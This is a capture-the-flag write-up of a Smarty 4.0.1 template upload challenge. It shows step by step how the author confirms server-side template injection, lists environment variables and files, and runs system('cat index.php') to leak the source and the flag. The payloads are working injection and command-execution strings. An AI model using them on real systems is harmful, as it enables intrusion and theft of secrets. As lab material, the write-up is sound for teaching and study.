# Billboard Mayhem
## The AppThis execise contains 2 Flags. The first one is just finding the form (wow, complicated), the second seems to be hidden in environment variables.
![[app.png]]
As stated, it can upload TPL files (seems to be a file format for a marketing and CRM software https://www.act.com/resources/downloads/ and https://file.org/extension/tpl)?
## ResearchFirst, I tried to upload a file with the `.tpl` extension an a random content I can identify. It triggers a  `POST` to `/upload.php` and then redirects with `302 Found` to the `/index.php`, where the file content is diplayed. I tried to reload the page but the file content is always diplayed so it is persistend. Uploading the file a second time changes the output. Uploading a different file changes the content again.
Then I tried to upload a valid PHP file, and here it starts to become interesting:
```php<script>alert(window.location.href)</script>";```
Becomes:
```html<script>alert(window.location.href)</script>";```
```php
```
After some more experiments `<div class="test">{7*7}</div>` became `<div class="test">49</div>`, which means that there exists a SSTI (Server Side Template Injection).
The following payload reveals some usefull information:```<div class="test">{join('', array_keys(getenv()))} - {join('', getenv())}Exposed files{join(';', glob('*'))}</div>```
```HOSTNAME  HOME  PATH  CHALLENGE_USER  DEBIAN_FRONTEND  EXPOSED_URL  PWD  -  0eb55f8a28f4  /var/www  /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin  Spikezz0xF69sh  noninteractive  https://64bcca024aabaf144162740a78807d83.challenge.hackazon.org /  Exposed files  advertisement.tpl;billboard.tpl;index.php;smarty-4.0.1;templates_c;upload.php;upload.tpl```
After googleing the unknown file or folder `smarty-4.0.1` we find a PHP library with this name. A template engine. https://www.smarty.net/. 
Digging deeper, the `templates_c` folder reveals the following content:
```templates_c/8adfbabda06f8aba0b4b1d80c38a9737372bc06b_0.file.billboard.tpl.phptemplates_c/b313a41804d60e60e349bb7b8c613386fcae54d9_0.file.upload.tpl.phptemplates_c/dc37bb02e243b748b086ec9c23e78188c36d4887_0.file.advertisement.tpl.php```
The template files are accessible on the server and can be downloaded by calling their files. The source code if PHP can be leaked with the payload `<div class="test">{system('cat index.php')}</div>`. By accident, this revealed the flag.
Leaked code:
```html<div class="test">disableSecurity();$smarty->assign('flag', 'Congratulations, the flag is: CTF{example_flag}');$smarty->display('billboard.tpl');?>?></div>```
## Alternative solutionThe template engine seems to have some sort of environment variable which might be accessible.